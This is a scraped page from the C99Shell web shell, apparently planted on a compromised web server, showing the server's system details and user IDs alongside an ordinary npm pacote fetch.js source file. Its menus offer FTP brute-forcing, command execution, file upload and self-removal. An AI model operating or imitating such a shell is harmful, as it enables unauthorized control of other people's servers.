!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/lib/node_modules/npm/node_modules/pacote/lib/   drwxr-xr-x
Free 6182.06 GB of 6263.26 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     fetch.js (2.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'use strict'

const duck = require('protoduck')

const Fetcher = duck.define(['spec', 'opts', 'manifest'], {
  packument: ['spec', 'opts'],
  manifest: ['spec', 'opts'],
  tarball: ['spec', 'opts'],
  fromManifest: ['manifest', 'spec', 'opts'],
  clearMemoized () {}
}, { name: 'Fetcher' })
module.exports = Fetcher

module.exports.packument = packument
function packument (spec, opts) {
  const fetcher = getFetcher(spec.type)
  return fetcher.packument(spec, opts)
}

module.exports.manifest = manifest
function manifest (spec, opts) {
  const fetcher = getFetcher(spec.type)
  return fetcher.manifest(spec, opts)
}

module.exports.tarball = tarball
function tarball (spec, opts) {
  return getFetcher(spec.type).tarball(spec, opts)
}

module.exports.fromManifest = fromManifest
function fromManifest (manifest, spec, opts) {
  return getFetcher(spec.type).fromManifest(manifest, spec, opts)
}

const fetchers = {}

module.exports.clearMemoized = clearMemoized
function clearMemoized () {
  Object.keys(fetchers).forEach(k => {
    fetchers[k].clearMemoized()
  })
}

function getFetcher (type) {
  if (!fetchers[type]) {
    // This is spelled out both to prevent sketchy stuff and to make life
    // easier for bundlers/preprocessors.
    switch (type) {
      case 'alias':
        fetchers[type] = require('./fetchers/alias')
        break
      case 'directory':
        fetchers[type] = require('./fetchers/directory')
        break
      case 'file':
        fetchers[type] = require('./fetchers/file')
        break
      case 'git':
        fetchers[type] = require('./fetchers/git')
        break
      case 'hosted':
        fetchers[type] = require('./fetchers/hosted')
        break
      case 'range':
        fetchers[type] = require('./fetchers/range')
        break
      case 'remote':
        fetchers[type] = require('./fetchers/remote')
        break
      case 'tag':
        fetchers[type] = require('./fetchers/tag')
        break
      case 'version':
        fetchers[type] = require('./fetchers/version')
        break
      default:
        throw new Error(`Invalid dependency type requested: ${type}`)
    }
  }
  return fetchers[type]
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0092 ]--